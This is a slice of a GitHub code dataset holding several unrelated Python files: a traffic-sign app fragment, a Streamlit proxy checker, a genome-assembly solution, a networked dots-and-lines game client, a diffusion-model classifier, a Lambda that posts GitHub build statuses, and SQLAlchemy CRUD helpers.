Ytest.append(Y[j+start])\r\n start=start+count\r\n\r\n return np.array(Xtrain),np.array(Xtest),np.array(Ytrain),np.array(Ytest)\r\n\r\ndef get_label(pathreadme=\"data/FullIJCNN2013/ReadMe.txt\"):\r\n \"\"\" Read ReadMe.txt and get label of the classes\r\n return description of classes\r\n \"\"\"\r\n label=[]\r\n startline=0\r\n with open(pathreadme, mode='rb') as f:\r\n for line in f:\r\n x=str(line.strip())\r\n strline = str(startline) + \" =\"\r\n if strline in x:\r\n label.append(x[6:(len(x)-1)].strip())\r\n startline = startline + 1\r\n f.close()\r\n return np.array(label)\r\n\r\ndef read_train_test_from_directory(path_dir):\r\n #Read images in directory (TRAIN or TEST)\r\n #return numpy of images and label class\r\n print(\"Reading data from: \",path_dir)\r\n Xtrain_test=[]\r\n Ytrain_test=[]\r\n\r\n for i in range(NUM_CLASSES):\r\n pathfile=path_dir+str(i)+\"/\"\r\n for file in os.listdir(pathfile):\r\n if os.path.isfile(os.path.join(pathfile, file)):\r\n Xtrain_test.append(np.array(Image.open(os.path.join(pathfile, file))))\r\n Ytrain_test.append(i)\r\n return np.array(Xtrain_test),np.array(Ytrain_test)\r\n\r\ndef preprocess_data(X,Y):\r\n \"\"\"\r\n Preprocess image, (resize 32x32 then converts RGB images into grayscale) and convert labels into one-hot\r\n Arguments:\r\n - X: Image data\r\n - Y: Labels\r\n\r\n Returns:\r\n - Preprocessed X, one-hot version of Y\r\n \"\"\"\r\n X_preprocess=[]\r\n num_of_images=X.shape[0]\r\n\r\n for i in range(num_of_images):\r\n X_preprocess.append(np.array(Image.fromarray(X[i]).resize((32, 32))))\r\n X_preprocess = np.array(X_preprocess)\r\n X_preprocess = X_preprocess.astype('float64')\r\n X_preprocess = (X_preprocess - 128.) / 128.\r\n\r\n images_gray = np.average(X_preprocess, axis=3)\r\n images_gray = np.expand_dims(images_gray, axis=3)\r\n\r\n y_onehot = np.zeros([Y.shape[0], NUM_CLASSES])\r\n\r\n for i in range(Y.shape[0]):\r\n y_onehot[i][int(Y[i])] = 1\r\n Y = y_onehot\r\n return images_gray,Y\r\n\r\ndef read_images(path_folder=\"data/FullIJCNN2013/\"):\r\n \"\"\" Read all the folder (images)\r\n Preprocess images - resize (32x32)\r\n return images and classes\r\n \"\"\"\r\n\r\n X=[]\r\n Y=[]\r\n\r\n for name in os.listdir(path_folder):\r\n # Classes are represented by folders\r\n if os.path.isdir(os.path.join(path_folder, name)):\r\n idclass=int(name)\r\n path_class=os.path.join(path_folder, name)\r\n #read files (.ppm) for every folder\r\n for file in os.listdir(path_class):\r\n if os.path.isfile(os.path.join(path_class, file)):\r\n img = Image.open(os.path.join(path_class, file))\r\n img_array=np.array(img)\r\n X.append(img_array)\r\n Y.append(idclass)\r\n return np.array(X),np.array(Y)\r\n\r\nif __name__ == '__main__':\r\n cli()","repo_name":"jonathandrnd/German-Traffic-Signs-Detector","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":16158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2779566725","text":"import requests\r\nimport streamlit as st\r\n\r\n\r\nst.set_page_config(page_title='Proxy Checker', page_icon='pc.png', layout=\"centered\", initial_sidebar_state=\"auto\", menu_items=None)\r\n\r\n\r\ndef check_proxy(proxy):\r\n proxies = {\r\n 'http': 'http://' + proxy,\r\n 'https': 'https://' + proxy\r\n }\r\n try:\r\n response = requests.get('https://www.google.com', proxies=proxies, timeout=5)\r\n if response.status_code == 200:\r\n return True\r\n except:\r\n pass\r\n return False\r\n\r\ndef main():\r\n st.title(\"Quixotic Proxy Checker\")\r\n proxy_list = st.text_area(\"Enter a List of Proxies (One Per Line)\", height=180)\r\n proxies = proxy_list.split('\\n')\r\n\r\n if st.button(\"Check Proxies\"):\r\n live_proxies = []\r\n dead_proxies = []\r\n with st.spinner(text=\"Checking Proxies...\"):\r\n for proxy in proxies:\r\n proxy = proxy.strip()\r\n if proxy:\r\n if check_proxy(proxy):\r\n live_proxies.append(proxy)\r\n else:\r\n dead_proxies.append(proxy)\r\n\r\n st.success(\"Proxy Check Completed.\")\r\n\r\n st.subheader(\"Live Proxies:\")\r\n live_proxies_text = st.empty()\r\n if live_proxies:\r\n live_proxies_text.text_area(\"This is LIVE Box !!\", '\\n'.join(live_proxies), height=150)\r\n else:\r\n live_proxies_text.text(\"No Live Proxies Found.\")\r\n\r\n st.subheader(\"Dead Proxies:\")\r\n dead_proxies_text = st.empty()\r\n if dead_proxies:\r\n dead_proxies_text.text_area('This is DEAD Box !!', '\\n'.join(dead_proxies), height=150)\r\n else:\r\n dead_proxies_text.text(\"No Dead Proxies Found.\")\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"mlproject5/py4","sub_path":"proxychecker.py","file_name":"proxychecker.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72502073014","text":"## Genome Assembly Using Reads\n\n\"\"\"\nProblem\nA directed cycle is simply a cycle in a directed graph in which the head of one edge is equal to the tail of the next (so that every edge in the cycle is traversed in the same direction).\n\nFor a set of DNA strings S\n and a positive integer k\n, let Sk\n denote the collection of all possible k\n-mers of the strings in S\n.\n\nGiven: A collection S\n of (error-free) reads of equal length (not exceeding 50 bp). In this dataset, for some positive integer k\n, the de Bruijn graph Bk\n on Sk+1∪Srck+1\n consists of exactly two directed cycles.\n\nReturn: A cyclic superstring of minimal length containing every read or its reverse complement.\n\nSample Dataset\nAATCT\nTGTAA\nGATTA\nACAGA\n\nSample Output\nGATTACA\n\"\"\"\n\n## define functions\ndef cyclic(dic):\n tmp = dic.popitem()\n cur = tmp[1]\n seq = cur[-1]\n for i in range(len(dic)):\n if cur not in dic:\n return \"\"\n seq += dic[cur][-1]\n if dic[cur] == tmp[0]:\n return seq\n cur = dic[cur]\n\n\ndef deBruijn(seqList):\n n = len(seqList[0])\n S = set([s.strip() for s in seqList])\n mapping = str.maketrans(\"ATGC\",\"TACG\")\n S |= set([s.translate(mapping)[::-1] for s in S])\n\n for k in range(n-1,0,-1):\n dic = {}\n for s in S:\n idx = n-k\n for i in range(idx):\n dic[s[i:i+k]] = s[i+1:i+k+1]\n tmp = cyclic(dic)\n if tmp != \"\":\n return tmp\n \n## import dataset\nwith open(\"../datasets/GASM_dataset.txt\",'r') as f:\n seqList = [s.strip() for s in f.readlines()]\n \n## print result\nprint(deBruijn(seqList))","repo_name":"stunme/ROSALIND_Solutions","sub_path":"Bioinformatics_Stronghold/Solutions/GASM.py","file_name":"GASM.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11844441533","text":"from socket import *\nfrom tkinter import *\nfrom sys import exit\nfrom pygame import *\nfrom time import sleep\nfrom _thread import start_new_thread\n\n\ndef final():\n global players, socks\n sleep(2)\n data = socks.recv(2).decode()\n while not data.isnumeric():\n # socks.recv(7).decode()\n data = socks.recv(9).decode()\n print(\"game closed by \", players[int(data)])\n while True:\n try:\n data = socks.recv(1024).decode().split(':')\n except error as e:\n data = ','\n temp = data[0].split(',')\n if temp[0] == '' or temp[1] == '':\n socks.send('0'.encode())\n else:\n socks.send('1'.encode())\n break\n print(\"SNO\\t\", \"name\\t\", \"points\")\n for i in range(len(data)-1):\n temp = data[i].split(',')\n print(i+1, '\\t', players[int(temp[0])], '\\t', temp[1])\n try:\n socks.close()\n except error:\n print(error)\n\n\ndef draw_vertical_line(temp_x, temp_y):\n global length_x, length_y, vertical_visited, turn, window_10\n draw.line(window_10, (255, 0, 0), (temp_x * length_x - 1, temp_y * length_y - 1),\n (temp_x * length_x - 1, temp_y * length_y + length_y - 1), 4)\n vertical_visited[temp_x].append(temp_y)\n\n\ndef draw_horizontal_line(temp_x, temp_y):\n global length_x, length_y, horizontal_visited, turn, window_10\n draw.line(window_10, (255, 0, 0), (temp_x * length_x - 1, temp_y * length_y - 1),\n (temp_x * length_x + length_x - 1, temp_y * length_y - 1), 4)\n horizontal_visited[temp_x].append(temp_y)\n\n\ndef write_turn(name):\n global font_1, rectangle, window_10\n text_3 = font_1.render(name, False, (255, 0, 255), None)\n draw.rect(window_10, (255, 255, 255), (rectangle[0] + 75, rectangle[1], rectangle[2], rectangle[3]))\n rectangle = text_3.get_rect()\n window_10.blit(text_3, (75, 0))\n\n\ndef write_in_box(x, y, name):\n global font_2, length_x, length_y, turn\n if turn == 1:\n draw.rect(window_10, (0, 0, 255), (x * length_x + 2, y * length_y + 2, length_x-3, length_y-3))\n else:\n draw.rect(window_10, (255, 255, 0), (x * length_x + 2, y * length_y + 2, length_x-3, length_y-3))\n text = font_2.render(name, False, (0, 0, 25), None)\n text_rect = text.get_rect()\n text_rect.center = (x * length_x + length_x // 2, y * length_y + length_y // 2)\n window_10.blit(text, text_rect)\n\n\ndef receive_data():\n global turn, socks, running\n while True:\n try:\n data = socks.recv(9).decode()\n data = data.split()\n if data[0] == \"turn\":\n write_turn(players[int(data[1])])\n turn = 0\n elif data[0] == \"@@you\":\n write_turn(\"your turn\")\n turn = 1\n elif data[0] == \"ver\":\n draw_vertical_line(int(data[1]), int(data[2]))\n elif data[0] == \"hor\":\n draw_horizontal_line(int(data[1]), int(data[2]))\n elif data[0] == \"d\":\n write_in_box(int(data[1]), int(data[2]), data[3])\n if data[0] == \"quit\":\n running = False\n break\n except IOError:\n final()\n except IndexError:\n final()\n\n\ndef round_of_pos(number):\n if number[-1] > 5:\n number[-2] += 1\n number[-1] = 0\n sum_1 = 0\n for i in number:\n sum_1 = sum_1 * 10 + i\n return sum_1\n\n\ndef get_position(position):\n global horizontal_visited, vertical_visited, length_x, length_y, socks\n if 765 > position[0] > length_x - 5 and 575 > position[1] > length_y - 5:\n x = round_of_pos([int(i) for i in str(position[0])])\n y = round_of_pos([int(i) for i in str(position[1])])\n temp_y = y // length_y\n temp_x = x // length_x\n if x % length_x == 0: # vertical\n if temp_y in vertical_visited[temp_x]:\n return False, False\n draw_vertical_line(temp_x, temp_y)\n msg = \"v \" + str('%02d' % temp_x) + \" \" + str('%02d' % temp_y)\n socks.send(msg.encode())\n elif y % length_y == 0:\n if temp_y in horizontal_visited[temp_x]:\n return False, False\n draw_horizontal_line(temp_x, temp_y)\n msg = \"h \" + str('%02d' % temp_x) + \" \" + str('%02d' % temp_y)\n socks.send(msg.encode())\n return False, False\n\n\ndef game_initial():\n global horizontal_visited, vertical_visited, window_10, length_x, length_y, font_1, socks, running\n start_new_thread(receive_data, ())\n print(\"Game starts in 5 seconds\")\n for i in range(5, 0, -1):\n print(i)\n sleep(1)\n window_10 = display.set_mode((830, 630))\n display.set_caption(\"Game\")\n window_10.fill((255, 255, 255))\n for i in range(1, 20):\n horizontal_visited.append([])\n vertical_visited.append([])\n for j in range(1, 20):\n if i != 19 and j != 19:\n draw.rect(window_10, (0, 255, 255), (i * length_x + 2, j * length_y + 2, length_x - 4, length_y - 4))\n draw.circle(window_10, (255, 0, 0), (i * length_x, j * length_y), 3)\n text_2 = font_1.render(\"Turn:\", False, (255, 0, 255), None)\n window_10.blit(text_2, (0, 0))\n while running:\n display.update()\n for even in event.get():\n if even.type == QUIT:\n running = False\n elif turn:\n if even.type == MOUSEBUTTONDOWN:\n get_position(even.pos)\n socks.send(\"quit\".encode())\n final()\n quit()\n\n\ndef print_players():\n global players\n data = socks.recv(1).decode()\n if data == \"1\":\n print(\"Added to room\")\n else:\n print(\"Room is full\")\n exit()\n data = socks.recv(1024).decode().split(',')\n number_of_players = int(data[0])\n for i in range(1, len(data)):\n if data[i] != '':\n players.append(data[i])\n print(str(data[i]) + \" connected\")\n remaining = number_of_players - len(data) + 1\n players.append(\"you\")\n for i in range(remaining):\n data = socks.recv(30).decode()\n players.append(data)\n print(str(data) + \" connected\")\n game_initial()\n\n\ndef server_room(frame, window, number_of_players):\n number_of_players = number_of_players.get()\n frame.destroy()\n data = \"C \" + number_of_players\n socks.send(data.encode())\n print(\"YOur room number is:\", socks.recv(6).decode())\n window.destroy()\n print_players()\n\n\ndef enter_room(frame, window, room_no):\n room_no = room_no.get()\n frame.destroy()\n data = \"R \" + room_no\n socks.send(data.encode())\n while True:\n try:\n data = socks.recv(1).decode()\n print(data)\n if data == \"1\":\n window.destroy()\n print_players()\n else:\n frame_3 = Frame(window)\n Label(frame_3, text=\"Entered wrong room number:\").grid(row=0, column=0)\n room_no = Entry(frame_3)\n room_no.grid(row=0, column=1)\n Button(frame_3, text=\"enter\",\n command=lambda frame=frame_3, window=window, room_no=room_no: enter_room(frame, window,\n room_no)).grid(\n row=1, column=1)\n frame_3.grid(row=0, column=0)\n frame_3.mainloop()\n except error:\n pass\n except OSError:\n pass\n\n\ndef create_room(frame, window):\n frame.destroy()\n try:\n frame_3 = Frame(window)\n except error:\n print(\"frame error\")\n Label(frame_3, text=\"Enter number of players that are playing\").grid(row=0, column=0)\n number_of_players = Entry(frame_3)\n number_of_players.grid(row=0, column=1)\n Button(frame_3, text=\"Create\",\n command=lambda frame=frame_3, window=window, number_of_players=number_of_players: server_room(frame, window,\n number_of_players)).grid(\n row=1, column=1)\n frame_3.grid(row=0, column=0)\n frame_3.mainloop()\n\n\ndef second(name, window, frame):\n global socks\n name = name.get()\n frame.destroy()\n socks.send(name.encode())\n frame_2 = Frame(window)\n Button(frame_2, text=\"Create Room\", command=lambda frame=frame_2, window=window: create_room(frame, window)).grid(\n row=0, column=0)\n Label(frame_2, text=\"OR\").grid(row=1, column=0)\n Label(frame_2, text=\"Enter room number\").grid()\n room_no = Entry(frame_2)\n room_no.grid(row=2, column=1)\n Button(frame_2, text=\"Enter\",\n command=lambda frame=frame_2, window=window, room_no=room_no: enter_room(frame_2, window, room_no)).grid(\n row=3, column=1)\n frame_2.grid(row=1, column=0)\n frame_2.mainloop()\n\n\ndef first():\n window = Tk()\n frame_1 = Frame(window)\n Label(frame_1, text=\"Enter your name(limit of 8 characters):\").grid(row=0, column=0)\n name = Entry(frame_1)\n name.grid(row=0, column=1)\n Button(frame_1, text=\"Enter\",\n command=lambda name=name, window=window, frame=frame_1: second(name, window, frame)).grid(row=1, column=1)\n frame_1.grid(row=0, column=0)\n frame_1.mainloop()\n\n\ninit()\nrunning = True\nrectangle = [0, 0, 0, 0]\nfont_1 = font.SysFont('freesansbold.ttf', 40)\nfont_2 = font.SysFont('freesansbold.ttf', 32)\nplayers = []\nturn = 0\nlength_x = 40\nlength_y = 30\nhorizontal_visited = [[]]\nvertical_visited = [[]]\nsocks = socket()\nhost = \"3.135.90.78\"\nport = 18930\nsocks.connect((host, port))\nfirst()\n","repo_name":"saikiran0204/dots-and-lines-oline-game","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":9623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33811333921","text":"import collections\n\n\nfrom collections import deque\nimport queue\n\n#BFS\n\ndef dfs(graph, start):\n visited[start] = True\n print(start, end='')\n for i in graph[start]:\n if not visited[i]:\n dfs(graph, i)\n\ndef bfs(graph, start):\n visited_bfs = [False] * (n+1)\n queue = deque([start])\n visited_bfs[start] = True\n \n while queue:\n x = queue.popleft()\n print(x, end='')\n for i in graph[x]:\n if not visited_bfs[i]: \n queue.append(i)\n visited_bfs[i] = True\n\n#main\nn, m, v = map(int, input().split())\ngraph = [[] for _ in range(n+1)]\nvisited = [False] * (n+1)\n\nfor _ in range(m):\n root, leaf = map(int, input().split())\n graph[root].append(leaf) # 무방향 그래프\n graph[leaf].append(root) # 서로 추가해준다\ngraph = [sorted(set(x)) for x in graph] # 중복 제거 후 오름차순 정렬\n# Execute\ndfs(graph, v)\nprint()\nbfs(graph, v)","repo_name":"dobibi/testProjectRepo","sub_path":"beakjoon/1260_1.py","file_name":"1260_1.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19971265174","text":"from typing import Dict\n\nimport numpy as np\n\nimport torch\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport pytorch_lightning as pl\n\nfrom src.data import MakeDataLoader\nfrom src.model import create_classifier_and_diffusion, classifier_and_diffusion_defaults, create_named_schedule_sampler\nfrom src.model import GalaxyZooClassifier\n\n\nnp.random.seed(0)\ntorch.manual_seed(0)\ntorch.cuda.manual_seed(0)\ntorch.backends.cudnn.benchmark = True\n\n\nclass ClassifierModule(pl.LightningModule):\n\n def __init__(self, config: Dict, use_fp16: bool = False):\n super().__init__()\n self.config = config\n\n # load data\n path_image = config['dataset']['image_path']\n path_labels = config['dataset']['label_path']\n size_image = config['dataset']['size']\n\n self.make_dl = MakeDataLoader(folder_images=path_image, file_labels=path_labels,\n image_size=size_image)\n\n # training parameters\n self.hparams.batch_size = config['batch_size'] # set start batch_size\n self.hparams.lr = eval(config['lr'])\n\n # load encoder, diffusion model and classifier\n params = classifier_and_diffusion_defaults()\n params['classifier_use_fp16'] = use_fp16\n self.encoder, self.diffusion = create_classifier_and_diffusion(**params)\n if use_fp16:\n self.encoder.convert_to_fp16()\n\n n_in = self.encoder.out_channels\n n_out = config['dataset']['n_classes']\n self.classifier = GalaxyZooClassifier(n_in, n_out)\n\n # load sampler\n self.schedule_sampler = create_named_schedule_sampler(\n config['schedule_sampler'], self.diffusion\n )\n\n def get_dataloader(self, mode: str) -> DataLoader:\n \"\"\"Returns dataloader\n\n :param mode: type of dataloader to return. Choices: train, val, test\n :return: dataloader\n \"\"\"\n\n bs = self.hparams.batch_size\n n_workers = self.config['n_workers']\n\n if mode == 'train':\n return self.make_dl.get_data_loader_train(batch_size=bs, shuffle=True, num_workers=n_workers)\n elif mode == 'val':\n return self.make_dl.get_data_loader_valid(batch_size=bs, shuffle=False, num_workers=n_workers)\n elif mode == 'test':\n return self.make_dl.get_data_loader_test(batch_size=bs, shuffle=False, num_workers=n_workers)\n else:\n raise ValueError('mode must be one of train, val, test')\n\n def train_dataloader(self) -> DataLoader:\n return self.get_dataloader('train')\n\n def val_dataloader(self) -> DataLoader:\n return self.get_dataloader('val')\n\n def test_dataloader(self) -> DataLoader:\n return self.get_dataloader('test')\n\n def configure_optimizers(self):\n lr = self.hparams.lr\n wd = eval(self.config['wd'])\n opt = optim.AdamW(list(self.encoder.parameters()) + list(self.classifier.parameters()),\n lr=lr, weight_decay=wd)\n return [opt]\n\n def optimizer_zero_grad(self, epoch, batch_idx, optimizer, optimizer_idx):\n optimizer.zero_grad(set_to_none=True)\n\n def step(self, batch, batch_idx: int, *, stage: str) -> torch.Tensor:\n im, label = batch\n\n t, _ = self.schedule_sampler.sample(im.shape[0], device=self.device)\n im = self.diffusion.q_sample(im, t)\n\n logits = self.classifier(self.encoder(im, t))\n loss = F.mse_loss(logits, label)\n self.log(f'{stage}/loss', loss)\n return loss\n\n def training_step(self, batch, batch_idx: int) -> torch.Tensor:\n return self.step(batch, batch_idx, stage='train')\n\n def validation_step(self, batch, batch_idx: int) -> torch.Tensor:\n return self.step(batch, batch_idx, stage='val')\n\n def forward(self, x: torch.Tensor, t: torch.Tensor) -> torch.Tensor:\n return self.classifier(self.encoder(x, t))\n","repo_name":"vkinakh/galaxy_zoo_generation_diffusion","sub_path":"src/trainer/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"9055150943","text":"import boto3\nimport json\nimport os\nimport requests\nimport base64\n\nssm = boto3.client(\"ssm\", region_name=os.environ[\"region\"])\n\ndef authorisation(username, access_token):\n auth = base64.b64encode(f\"{username}:{access_token}\".encode(\"utf-8\")).decode(\"utf-8\")\n return f\"Basic {auth}\"\n\ndef post_to_url(url, auth, payload):\n r = requests.post(\n url, \n json=payload,\n headers={\n \"content-type\": \"application/json\",\n \"authorization\": auth\n }\n )\n return r.content\n\ndef process_record(record, access_token):\n record = json.loads(record)\n description = \"\"\n state = \"\"\n if record[\"state\"] == \"STARTED\" or record[\"state\"] == \"RESUMED\":\n description = \"Build run has started.\"\n state = \"pending\"\n elif record[\"state\"] == \"SUCCEEDED\":\n description = \"The build was successful.\"\n state = \"success\"\n elif record[\"state\"] == \"FAILED\" or record[\"state\"] == \"CANCELED\":\n description = \"The build failed or was canceled.\"\n state = \"failure\"\n elif record[\"state\"] == \"SUPERSEDED\":\n description = \"The build was superseded.\"\n state = \"pending\"\n payload = {\n \"state\": state,\n \"description\": description,\n \"target_url\": \"https://{region}.console.aws.amazon.com/codesuite/codepipeline/pipelines/{pipeline}/executions/{exec_id}/timeline?region={region}\".format(\n pipeline = record[\"pipeline_name\"],\n exec_id = record[\"exec_id\"],\n region = os.environ[\"region\"]\n ),\n \"context\": \"ci/build\"\n }\n print(payload)\n auth = authorisation(\n username = os.environ[\"gh_username\"],\n access_token = access_token\n )\n url = \"https://api.github.com/repos/{owner}/{repo}/statuses/{sha}\".format(\n owner = record[\"github\"][\"owner\"],\n repo = record[\"github\"][\"repo\"],\n sha = record[\"github\"][\"sha\"]\n )\n print(url)\n post_to_url(\n url = url,\n auth = auth,\n payload = payload\n )\n print(\"posted to url\")\n\ndef entry(event, context):\n # get github access token\n param = ssm.get_parameter(\n Name=os.environ[\"gh_access_token\"],\n WithDecryption=True\n )\n gh_access_token = param[\"Parameter\"][\"Value\"]\n for record in event[\"Records\"]:\n print(record[\"body\"])\n process_record(record[\"body\"], gh_access_token)\n","repo_name":"richardjkendall/codepipeline-github-poster","sub_path":"lambda.py","file_name":"lambda.py","file_ext":"py","file_size_in_byte":2192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7494819134","text":"from sqlalchemy.orm import Session\nfrom apis.schemas import api_schema\nfrom apis.models import models\nfrom typing import Optional\nfrom sqlalchemy.orm import joinedload\nfrom sqlalchemy.exc import IntegrityError\nfrom uuid import UUID\nfrom sqlalchemy import cast, Date\n\n\ndef create_cat(db:Session,name,image):\n try:\n query = models.Category(name=name,image=image)\n db.add(query)\n db.commit()\n db.refresh(query)\n return query\n except IntegrityError as e:\n # Handle unique constraint violation\n db.rollback()\n return \"Error: Unique constraint violation.\"\n\ndef get_category_withid(db:Session,id:int):\n query = db.query(models.Category).filter(models.Category.id==id).first()\n return query\n\n\ndef get_category(db:Session,id:Optional[int]=None,name:Optional[str]=None,status:Optional[int]=None):\n query = db.query(models.Category)\n if id is not None:\n query = query.filter(models.Category.id==id)\n if name is not None:\n query = query.filter(models.Category.name.ilike(f\"%{name}%\"))\n if status is not None:\n query = query.filter(models.Category.status==status)\n return query.all()\n\ndef get_categories_iiko(db:Session):\n query = db.query(models.Category).all()\n return query\n\n\n\ndef update_category(db:Session,name,status,image,id):\n query = db.query(models.Category).filter(models.Category.id==id).first()\n if query:\n if status is not None:\n query.status=status\n if name is not None:\n query.name = name\n if image is not None:\n query.image=image\n\n db.commit()\n db.refresh(query)\n return query\n\n\n\ndef get_content_types(db:Session):\n query = db.query(models.ContentType).all()\n return query\n\n\n\n\ndef sub_create(db:Session,form_data:api_schema.CreateSubCat):\n query = models.SubCategory(name=form_data.name,category_id=form_data.category_id,contenttype_id=form_data.contenttype_id) \n db.add(query)\n db.commit()\n db.refresh(query)\n return query\n\n\n\n\ndef filter_subcategory(db:Session,id:Optional[int]=None,name:Optional[str]=None,category_id:Optional[str]=None):\n query =db.query(models.SubCategory)\n if id is not None:\n query = query.filter(models.SubCategory.id==id)\n if name is not None:\n query = query.filter(models.SubCategory.name.ilike(f\"%{name}%\"))\n if category_id is not None:\n query = query.filter(models.SubCategory.category_id==category_id)\n return query.all()\n \n\n\ndef update_subcategory(db:Session,form_data:api_schema.UpdateSubCat):\n query = db.query(models.SubCategory).filter(models.SubCategory.id==form_data.id).first()\n if query:\n if form_data.contenttype_id is not None:\n query.contenttype_id=form_data.contenttype_id\n if form_data.name is not None:\n query.name = form_data.name\n if form_data.status is not None:\n query.status = form_data.status\n db.commit()\n db.refresh(query)\n return query\n\ndef create_selectvl(db:Session,form_data:api_schema.SelectValueCreate):\n query = models.SelectValues(content=form_data.content,value=form_data.value,subcat_id=form_data.subcat_id)\n db.add(query)\n db.commit()\n db.refresh(query)\n return query\n\ndef get_selval(db:Session,id,content,value,status,subcat_id):\n query = db.query(models.SelectValues)\n if content is not None:\n query = query.filter(models.SelectValues.content.ilike(f\"%{content}%\"))\n if id is not None:\n query = query.filter(models.SelectValues.id==id)\n if value is not None:\n query = query.filter(models.SelectValues.value.ilike(f\"%{value}%\"))\n if status is not None:\n query = query.filter(models.SelectValues.status==status)\n if subcat_id is not None:\n query = query.filter(models.SelectValues.subcat_id==subcat_id)\n return query.all()\n\n\n\ndef update_select_value(db:Session,form_data:api_schema.UpdateSelectValue):\n query = db.query(models.SelectValues).filter(models.SelectValues.id==form_data.id).first()\n if form_data.content is not None:\n query.content = form_data.content\n if form_data.value is not None:\n query.value = form_data.value\n if form_data.status is not None:\n query.status = form_data.status\n db.commit()\n db.refresh(query)\n return query\n\n\ndef create_childselect(db:Session,form_data:api_schema.ChildSelCreate):\n query = models.ChildSelVal(content=form_data.content,selval_id=form_data.selval_id,value=form_data.value)\n db.add(query)\n db.commit()\n db.refresh(query)\n return query\n\n\ndef filter_child_selval(db:Session,content,value,selval_id,status,id):\n query = db.query(models.ChildSelVal)\n if content is not None:\n query = query.filter(models.ChildSelVal.content.ilike(f\"%{content}%\"))\n if value is not None:\n query = query.filter(models.ChildSelVal.value.ilike(f\"%{value}%\"))\n if selval_id is not None:\n query = query.filter(models.ChildSelVal.selval_id==selval_id)\n if status is not None:\n query = query.filter(models.ChildSelVal.status==status)\n if id is not None:\n query = query.filter(models.ChildSelVal.id==id)\n return query.all()\n\ndef update_child_selvalue(db:Session,form_data:api_schema.UpdateChildSelVal):\n query = db.query(models.ChildSelVal).filter(models.ChildSelVal.id==form_data.id).first()\n if form_data.content is not None:\n query.content =form_data.content\n if form_data.status is not None:\n query.status = form_data.status\n if form_data.value is not None:\n query.value = form_data.value\n db.commit()\n db.refresh(query)\n return query\n\n\n\ndef create_order(db:Session,user_id,form_data:api_schema.OrderCreation):\n if form_data.department_id is not None:\n try:\n department_id = db.query(models.Departments).filter(models.Departments.branch_id==form_data.department_id).first().id\n except:\n department_id = None\n else:\n department_id = None\n query = models.Order(order_user=form_data.order_user,phone_number=form_data.phone_number,extra_number=form_data.extra_number,payment_type=form_data.payment_type,\n firstly_payment=form_data.firstly_payment,\n is_delivery=form_data.is_delivery,\n comment=form_data.comment,\n deliver_date=form_data.deliver_date,\n address=form_data.address,\n apartment=form_data.apartment,\n home=form_data.home,\n near_to=form_data.near_to,\n department_id=department_id,\n user_id=user_id,\n category_id=form_data.category_id,\n lat=form_data.lat,\n long=form_data.long,\n complexity =form_data.complexity,\n packaging=form_data.packaging,\n images=form_data.images,\n color=form_data.color,\n color_details=form_data.color_details,\n floor=form_data.floor,\n portion=form_data.portion,\n is_bot=form_data.is_bot)\n\n\n db.add(query)\n db.commit()\n db.refresh(query)\n return query\n\n\n\ndef update_order(db:Session,form_data:api_schema.OrderUpdate):\n query = db.query(models.Order).filter(models.Order.id==form_data.id).first()\n if query:\n \n if form_data.order_user is not None:\n query.order_user= form_data.order_user\n if form_data.phone_number is not None:\n query.phone_number = form_data.phone_number\n if form_data.extra_number is not None:\n query.extra_number = form_data.extra_number\n if form_data.payment_type is not None:\n query.payment_type =form_data.payment_type\n if form_data.firstly_payment is not None:\n query.firstly_payment =form_data.firstly_payment\n if form_data.is_delivery is not None:\n query.is_delivery = form_data.is_delivery\n if form_data.comment is not None:\n query.comment = form_data.comment\n if form_data.deliver_date is not None:\n query.deliver_date = form_data.deliver_date\n if form_data.address is not None:\n query.address = form_data.address\n if form_data.apartment is not None:\n query.apartment = form_data.apartment\n if form_data.home is not None:\n query.home = form_data.home\n if form_data.near_to is not None:\n query.near_to = form_data.near_to\n if form_data.department_id is not None:\n query.department_id = form_data.department_id\n if form_data.category_id is not None:\n query.category_id =form_data.category_id\n if form_data.status is not None:\n query.status = form_data.status\n if form_data.lat is not None:\n query.lat = form_data.lat\n if form_data.long is not None:\n query.long = form_data.long\n if form_data.reject_reason is not None:\n query.reject_reason = form_data.reject_reason\n if form_data.complexity is not None:\n query.complexity =form_data.complexity\n if form_data.floor is not None:\n query.floor = form_data.floor\n if form_data.portion is not None:\n query.portion = form_data.portion\n if form_data.color is not None:\n query.color =form_data.color\n if form_data.color_details is not None:\n query.color_details=form_data.color_details\n if form_data.images is not None:\n query.images=form_data.images\n if form_data.packaging is not None:\n query.packaging =form_data.packaging\n if form_data.is_bot is not None:\n query.is_bot=form_data.is_bot\n db.commit()\n db.refresh(query)\n \n return query\n\n\n\ndef create_order_products(db:Session,form_data:api_schema.OrderProducts):\n query = models.OrderProducts(order_id=form_data.order_id,product_id=form_data.product_id,comment=form_data.comment,amount=form_data.amount,floor=form_data.floor,portion=form_data.portion)\n db.add(query)\n db.commit()\n db.refresh(query)\n return query\n\n\n\ndef create_value_order(db:Session,table):\n table = table\n db.add(table)\n db.commit()\n db.refresh(table)\n return table\n\n\ndef get_order_with_id(db:Session,id):\n query = db.query(models.Order).filter(models.Order.id==id).all()\n return query\n\n\ndef get_values_oforder(db:Session,id):\n query = db.query(models.Value).filter(models.Value.order_id==id).all()\n return query\n\ndef getOrderList(db:Session,status,cake,is_delivery,created_at,branch_id):\n query = db.query(models.Order)\n if status is not None:\n query = query.filter(models.Order.status==status)\n if cake is not None:\n query = query.filter(models.OrderProducts.product_id==cake)\n if is_delivery is not None:\n query = 